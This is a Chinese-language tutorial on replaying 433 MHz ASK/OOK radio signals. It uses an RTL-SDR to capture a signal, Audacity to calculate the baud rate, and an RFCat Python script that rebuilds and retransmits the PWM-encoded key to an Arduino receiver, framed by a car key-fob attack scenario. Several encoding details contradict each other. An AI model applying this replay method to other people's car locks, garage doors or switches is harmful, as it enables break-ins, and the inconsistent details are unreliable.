使用Arduino模塊實(shí)施無線信號的重放攻擊
寫在開頭
無線電已經(jīng)存在使用了很長一段時間,在這很長的一段時間里誕生了一個名叫火腿族的集體(小編:嗯 對 就是整天吃火腿的那些人^_^ CQ CQ )。無線電和互聯(lián)網(wǎng)一樣:同樣存在一些安全隱患,比如:在無線信號的傳輸中并沒有考慮到CRC校驗(yàn)、加密等安全問題。
小情景:如果你在某一天使用無線鑰匙卡解鎖汽車時候按第二次才成功解鎖,那么你的汽車已經(jīng)被黑客盯上了!
一種名為“車鑰信號重放攻擊”的新型攻擊方式已經(jīng)被國內(nèi)外的一些黑客普遍使用:他們利用無線電技術(shù)來截獲你的鑰匙卡指令,然后對汽車電子鑰匙的信號進(jìn)行重放來入侵汽車、解鎖車門。
感覺是不是很高大上呢?接下來我們將討論:如何使用Arduino模塊實(shí)施無線信號的重放攻擊(實(shí)現(xiàn)重放一個不歸零編碼ASK/OOK調(diào)制的信號)。
433.925MHz頻段在日常生活中很廣泛使用:從無線門鈴到車庫遙控器都有它的“影子”。本文用來重放演示的設(shè)備是一個無線控制開關(guān),這種設(shè)備在歐洲比較常見,它能夠遠(yuǎn)程以無線的方式控制電器的開和關(guān)。
設(shè)備如下圖所示:
總之,信號以不歸零編碼的方式從發(fā)送端傳到接收端,隨后接收端對信號進(jìn)行解碼并進(jìn)行處理。不歸零碼是一種二進(jìn)制碼:‘1’代碼正電壓,‘0’代表負(fù)電壓,脈沖的寬度越長代表數(shù)據(jù)量越大。下面是不歸零碼的一個示例:
我們使用Arduino Uno和很常見的RF模塊以及RF模塊的arduino庫文件( RC Switch)作為我們的示例。
所需材料
● RTL_SDR 亞馬遜鏈接:http://www.amazon.com/NooElec-RTL-SDR-RTL2832U-Software-Packages/dp/B008S7AVTC (或者其他接收設(shè)備,USRP等)
● SDR-Sharp: 官網(wǎng):http://sdrsharp.com(功能類似的其他軟件還有:gqrx,HDSDR)
● Arduino Uno 網(wǎng)站:http://arduino.cc/en/Main/Buy
● 433MHz RF Link Set 網(wǎng)站:http://www.seeedstudio.com/depot/433Mhz-RF-link-kit-p-127.html
● 一些杜邦線,面包版
● RC-Switch 庫 網(wǎng)站:https://code.google.com/p/rc-switch/
● Audacity 網(wǎng)站:http://audacity.sourceforge.net/download/
● RFCat 網(wǎng)站:https://bitbucket.org/atlas0fd00m/rfcat
步入正題
首先,我們先把Arduino和RF模塊連接起來,并且把rc-switch庫加入到arduino編譯器并把程序下載到arduino中,下圖是arduino和RF模塊連接示意圖。對我的無線433MHz發(fā)射模塊來說,它有3個IO腳:GND,VCC和DATA。
模塊的IO腳直接和Arduino IO腳相連接,其中RF模塊的GND連接Arduino的GND,VCC連接Arduino的5V 管腳,DATA任意一個數(shù)字管腳。
當(dāng)Arduino和無線模塊物理連接正確以后,把下面的代碼編譯下載到Arduino中。
- </*
- Simple example for sending
- http://code.google.com/p/rc-switch/
- */
- #include <RCSwitch.h>
- RCSwitch mySwitch = RCSwitch();
- void setup() {
- mySwitch.enableTransmit(2); // Using Pin #2
- }
- void loop() {
- mySwitch.send("1100101"); // Send the message 0x65, in ASCII, ‘a’
- delay(1000); // 1 second delay per transmission; 1000ms
- }
現(xiàn)在Arduino已近正常工作了,我們通過RTL-SDR和SDRSharp去捕捉信號,考慮到通過無線模塊產(chǎn)生信號不是很好的選擇,無線模塊的頻率會隨著時間改變,選擇AM的調(diào)制方式:把SDRSharp頻率范圍設(shè)定在433-434MHz之間。
當(dāng)我們找到無線模塊發(fā)射的信號后,記錄下來并保存為WAV的文件。用Audacity打開記錄的WAV文件,如下圖所示,,它是一個相當(dāng)直接的信號,在沒有源代碼的情況下,我們假設(shè)信號是不歸零碼編碼,脈沖寬度調(diào)制(PWM),且是ASK/OOK(幅移鍵控調(diào)制/開關(guān)監(jiān)控-這意味著通過OOK控制開和關(guān)來表達(dá)數(shù)據(jù)的存在和不存在),最后一件事我們需要計算信號的波特率,按照下面的步驟計算:
1.在工具的的底部設(shè)置長度,選擇到信號的長度
2.獲取音頻的采樣率(這里是62500hz)
計算波特率的公式:
1 / (samples / samplerate) → 1 / (22 / 62500) = ~2,840bps
大多數(shù)的情況,得到的波特率比較準(zhǔn)確的,而且這個參數(shù)也是配置RFCat的一個重要參數(shù)。鑒于信號是脈寬調(diào)制的,我們需要把每個脈沖設(shè)定在合適的寬度。不幸的的是這需要反復(fù)實(shí)驗(yàn)和調(diào)試,幸運(yùn)的是,AndrewMac提供了一個非常完美的腳本RFCat解決了這些問題, 通過RFCat軟件,我們能夠發(fā)射處理的信號并且能使Arduino很容易的接收這些信號,當(dāng)使用RFCat的時候,我們需要設(shè)置一些參數(shù):如下面所示:
首先我們設(shè)置調(diào)制方式為 ASK/OOK,設(shè)置我們的目標(biāo)頻率為 434042000Hz (433.925MHz),本質(zhì)我們需要設(shè)置數(shù)據(jù)的長度,波特率為 2840bps, 確保發(fā)射為最大的功率,并且關(guān)閉同步,把同步模式設(shè)為0.
假定我們對RFCat已經(jīng)有了足夠的了解并知道如何去使用,下面的腳本有助于我們執(zhí)行上述的配置和PWM調(diào)節(jié),這樣有利于我們能接收到匹配的傳輸信號。
- /*
- Script by AndrewMac of andrewmohawk.com
- */
- #!/usr/bin/env python
- import sys
- import time
- from rflib import *
- from struct import *
- import argparse
- import pprint
- import bitstring
- keyLen = 0
- baudRate = (1 / 0.000350) #because the pulse width is 350 in the code
- frequency = 434042000
- repeatNum = 30
- def ConfigureD(d):
- d.setMdmModulation(MOD_ASK_OOK)
- d.setFreq(frequency)
- d.makePktFLEN(keyLen)
- d.setMdmDRate(baudRate)
- d.setMaxPower()
- d.setMdmSyncMode(0)
- print "[+] Radio Config:"
- print " [-] ---------------------------------"
- print " [-] MDMModulation: MOD_ASK_OOK"
- print " [-] Frequency: ",frequency
- print " [-] Packet Length:",keyLen
- print " [-] Baud Rate:",baudRate
- print "[-] ---------------------------------"
- #raw what we are sending
- bin_str_key = "1100101";
- #adjust the key to make it longer so that the pulse width is correct
- long_bin_key = "";
- for k in bin_str_key:
- x = "*"
- if(k == "1"):
- x = "11100" # <mossmann> A zero is encoded as a longer high pulse (high-high-low)
- if(k == "0"):
- x = "1000" #<mossmann> and a one is encoded as a shorter high pulse (high-low-low).
- long_bin_keylong_bin_key = long_bin_key + x
- print "[+] Binary (PWM) key:\n\t",long_bin_key,"\n"
- padAmount = len(long_bin_key) % 8
- for x in range(0,8-padAmount):
- long_bin_key = "0" + long_bin_key
- print "[+] Binary Padded (PWM) key:\n\t",long_bin_key,"\n"
- key_packed = bitstring.BitArray(bin=long_bin_key).tobytes()
- keyLen = len(key_packed)
- print "[+] Key len:\n\t",keyLen,"\n"
- print "[+] Key:\n\t", key_packed.encode('hex'),"\n"
- print ""
- d = RfCat()
- ConfigureD(d)
- print "[%] Transmitting key: ",repeatNum," times\n"
- #startString = "11101";
- startStringBin = "000000000000000" + "1000100010001000111001000"
- startkey_packed = bitstring.BitArray(bin=startStringBin).tobytes()
- d.RFxmit(startkey_packed)
- d.makePktFLEN(keyLen)
- for i in range(0,repeatNum):
- sys.stdout.write( "." )
- d.RFxmit(key_packed)
- #endString = "011";
- d.RFxmit('\xFF')
- sys.stdout.write("Done.\n")
解釋一下上面的代碼:
首先我們設(shè)置了調(diào)制的模式,波特率等,并且把這些配置寫入到RFCat并使其生效
然后我們設(shè)定密鑰key,也就是我們要發(fā)送的原始數(shù)據(jù)并把它賦值給變量binstrkey
然后我們改變密鑰并認(rèn)為‘1’表示111000,‘0’表示1000
這樣我們原始的密鑰(11001101)被定義新的二進(jìn)制PWM 密鑰即 11100111001000100011100100011100。
我們脈沖的寬度是精確的。下一個步驟就是將二進(jìn)制PWM密鑰轉(zhuǎn)換成比特類型,這樣數(shù)據(jù)就不以ASCII發(fā)送,然后用二進(jìn)制PWM密鑰的長度去配置d.makePktFLEN(keyLen),這樣RFCat在發(fā)送時就有固定長度的密鑰,現(xiàn)在信息已近設(shè)置好了,我們還需要創(chuàng)建開始位和結(jié)束位以便Arduino知道我們數(shù)據(jù)什么時候開始發(fā)送和什么時候結(jié)束。當(dāng)這些定義以后,我們執(zhí)行RFxmit()函數(shù),d.RFxmit(startkeypacked), d.RFxmit(keypacked), and d.RFxmit(‘\xFF’),最后發(fā)送為:
00000000000000010001000100010001110010001110011100100010001110010001110011111111
這些信息被發(fā)送30次,并且發(fā)送10次被認(rèn)為是一次完整的消息請求。然而,為了檢查和確保信號正確的發(fā)送,修改repeatNum 等于‘1’,用SDRSharp重新錄制并和原始信號比較,發(fā)現(xiàn)兩者是相同的。
Arduino的接收代碼:
- /*
- Simple example for receiving
- http://code.google.com/p/rc-switch/
- */
- #include <RCSwitch.h>
- RCSwitch mySwitch = RCSwitch();
- void setup() {
- Serial.begin(9600);
- mySwitch.enableReceive(0); // Receiver on interrupt 0 => that is pin #2
- }
- void loop() {
- if (mySwitch.available()) {
- int value = mySwitch.getReceivedValue();
- if (value == 0) {
- Serial.print("Unknown encoding");
- } else {
- Serial.print("Received ");
- Serial.print( mySwitch.getReceivedValue() );
- Serial.print(" / ");
- Serial.print( mySwitch.getReceivedBitlength() );
- Serial.print("bit ");
- Serial.print("Protocol: ");
- Serial.println( mySwitch.getReceivedProtocol() );
- }
- mySwitch.resetAvailable();
- }
- }
此后,接收電路按照下圖連接:
運(yùn)氣好的話,你的信號很快就會匹配成功,接收端收到RFCat發(fā)送的信號,那么你已經(jīng)成功實(shí)現(xiàn)信號的重放。